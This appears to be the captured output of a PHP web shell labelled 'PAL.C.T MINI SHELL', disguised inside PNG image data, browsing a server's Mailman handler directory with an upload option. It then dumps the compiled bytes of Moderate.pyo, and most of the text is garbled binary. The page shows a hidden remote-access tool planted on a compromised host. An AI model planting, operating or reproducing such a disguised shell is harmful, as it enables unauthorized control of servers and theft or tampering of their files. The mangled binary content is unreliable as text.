php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/Handlers/
upload
files >> //usr/lib/mailman/Mailman/Handlers/Moderate.pyo

Pc@sdZddkZddklZddklZddklZddklZddkl	Z	ddkl
Z
dd	klZdd
k
lZddklZddklZd
eifdYZdZdZdZdZdS(sPosting moderation filter.
iN(tMIMEMessage(tMIMEText(tmm_cfg(tUtils(tMessage(tErrors(t_(tHold(tsyslog(tMailListtModeratedMemberPostcBseZRS((t__name__t
__module__(((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Moderate.pyR
$s	cCsM|idp|idodSx/|iD]}|i|oPq2q2Wd}|o|i|tio|idjo$||d<ti	|||t
q|idjo9|i}|oti
|}nd}ti|q|idjo
tiqndS|i}|i}t||i|odSt||i|oti	|||tint||i|ot|nt||i|ot||n|idjodS|idjoti	|||tin@|idjot|n"|idjot||ndS(Ntapprovedt
fromusenetitsenderiii(tgettget_senderstisMembertNonetgetMemberOptionRtModeratetmember_moderation_actionRthold_for_approvalR
tmember_moderation_noticeRtwrapRt
RejectMessagetDiscardMessaget
get_sendert
internal_namet	matches_ptaccept_these_nonmembersthold_these_nonmemberst
NonMemberPosttreject_these_nonmemberst	do_rejecttdiscard_these_nonmemberst
do_discardtgeneric_nonmember_action(tmlisttmsgtmsgdataRttexttlistname((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Moderate.pytprocess1sR 
	
	
c
Cszg}|D]1}|idp
|idp||qq~}ti|dd}|i|odSx|D]}|idoNyti|ti}Wntij
o
qvnX|i|odSqv|idoyT|d|jot	dd|n,t
|ddd}	|	i|odSWqrti
j
ot	dd	||dqrXqvqvWdS(
Nt^t@tfoldcaseiterrors,*_these_nonmembers in %s references own listtlockis8*_these_nonmembers in %s references non-existent list %s(t
startswithRt	List2Dictthas_keytretcompilet
IGNORECASER0tsearchRR	RRtMMUnknownListError(
Rt
nonmembersR+t_[1]taddrt
plainaddrstaddrdicttaretcretmother((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Moderate.pyRxs8!$		cCsW|i}|io"titit|intititddS(NsYou are not allowed to post to this mailing list, and your message has been
automatically rejected.  If you think that your messages are being rejected in
error, contact the mailing list owner at %(listowner)s.(t
GetOwnerEmailtnonmember_rejection_noticeRRRRR(R't	listowner((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Moderate.pyR#s
cCs|i}|io|i}d|iddd}ti|i|itdd|}|i	dt
titdd	ti
|}|i||it||i|ntidS(
Ns3%s/?VARHELP=privacy/sender/discard_these_nonmemberstadmintabsoluteisAuto-discard notificationtlangsmultipart/mixeds6The attached message has been automatically discarded.t_charset(Rtforward_auto_discardstpreferred_languagetGetScriptURLRtUserNotificationRBtGetBouncesEmailRtset_typeRRRt
GetCharSettattachRtsendRR(R'R(RRGtvarhelptnmsgR*((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Moderate.pyR%s"
			

(t__doc__R5temail.MIMEMessageRtemail.MIMETextRtMailmanRRRRtMailman.i18nRtMailman.HandlersRtMailman.Logging.SyslogRtMailman.MailListR	t
ModeratedPostR
R,RR#R%(((sb/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Handlers/Moderate.pyt<module>s 
	G	$	
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`